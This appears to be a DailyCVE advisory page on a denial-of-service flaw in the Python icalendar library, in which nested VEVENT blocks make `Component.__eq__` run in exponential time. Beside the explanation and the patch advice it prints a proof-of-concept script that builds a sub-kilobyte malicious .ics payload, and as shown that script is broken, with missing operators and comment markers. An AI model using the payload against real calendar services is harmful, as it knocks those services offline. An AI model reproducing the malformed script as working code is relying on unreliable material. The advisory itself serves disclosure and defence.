icalendar (Python), Algorithmic Complexity Denial of Service, CVE-2026-55099 (High) -DC-Aug2026-1911

Listen to this Post

This vulnerability resides in the `Component.__eq__` method of the Python `icalendar` library, which is used for parsing and generating iCalendar (.ics) files. The core of the issue is an algorithmic complexity flaw, categorized as CWE-407: Inefficient Algorithmic Complexity.
The `Component` class, which represents calendar components like `VCALENDAR` or VEVENT, subclasses `dict` and stores its children in a `subcomponents` list. The vulnerable `__eq__` method, located in `src/icalendar/cal/component.py` at lines 642-665, is designed to check the set-equivalence of two components’ children.
The method performs this check using two `for` loops that iterate through the `subcomponents` lists. Critically, each `… not in …` membership test recursively invokes the `__eq__` method on the child components. For a deeply nested chain of components, this recursive behavior causes the method to explode exponentially. Each level of nesting spawns two recursive comparisons, leading to a time complexity of T(n) = 2·T(n-1), which is O(2^n).
The parser, Component.from_ical, builds the component structure iteratively and does not impose any limit on nesting depth. This means an attacker can create a `.ics` file with `BEGIN:VEVENT` blocks nested to arbitrary depths. The parsing of this malicious payload is instantaneous, but the exponential cost is paid only when a comparison operation (==, !=, in, set/dict membership, etc.) is performed on the parsed data.
The attack is particularly potent because an attacker can control the conditions to maximize the cost. By submitting a file containing two identical, deeply nested subtrees, they ensure that the `__eq__` method will not short-circuit early and will instead traverse the entire exponential structure. A single, sub-kilobyte `.ics` file is sufficient to cause a single equality check to run for minutes or hang a CPU core indefinitely.

DailyCVE Form

Platform: Python icalendar
Version: 7.1.0 – 7.1.2
Vulnerability: Algorithmic Complexity DoS
Severity: High (CVSS 7.5)
Date: 2026-08-25

Prediction: Already Patched (2026-06-23)

What Undercode Say:

Analytics

  • The vulnerability is exploitable via a single HTTP upload of a malicious `.ics` file.
  • The attack requires minimal bandwidth; a payload of ~800 bytes can cause ~13 minutes of CPU saturation.
  • The flaw is not triggered during parsing, but only when the application compares the data.
  • Impacted code paths include calendar sync/import, invite processing, deduplication, and round-trip validation.
  • The attack is unauthenticated and can lead to a denial of service by pinning a CPU core.

Exploit: (Educational Purposes!)

The following Python script demonstrates the vulnerability by creating a malicious `.ics` file and triggering the exponential comparison:

from icalendar import Calendar
Depth of nesting that causes significant delay
d = 26
Create a deeply nested event structure
event = b"BEGIN:VEVENT\r\n" d + b"END:VEVENT\r\n" d
Create a calendar with two identical nested events
ics = b"BEGIN:VCALENDAR\r\n" + event + event + b"END:VCALENDAR\r\n"
Parse the malicious payload (this is instantaneous)
cal = Calendar.from_ical(ics)
Extract the two identical events
a, b = cal.subcomponents
This comparison will take ~48 seconds on CPython 3.14
a == b

Protection

The primary and most effective protection is to upgrade the `icalendar` library to version 7.1.3 or later. The fix rewrites the `Component.__eq__` method to use an explicit stack instead of recursion, making the equality check linear in the number of components. If an immediate upgrade is not possible, as a temporary mitigation, avoid performing equality or membership comparisons on parsed calendar components from untrusted sources. Additionally, implementing resource controls like CPU timeouts for parsing and comparison workflows can help reduce the impact of a potential attack.

Impact

Successful exploitation of this vulnerability allows an unauthenticated attacker to cause a denial of service. By sending a small, specially crafted `.ics` file, an attacker can force the application to perform an exponentially expensive comparison operation, consuming 100% of a CPU core for minutes or even indefinitely. This renders the affected service (e.g., a calendar import or sync endpoint) unresponsive, leading to service degradation or a complete outage. The vulnerability does not allow for code execution or privilege escalation; its impact is strictly limited to resource exhaustion.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top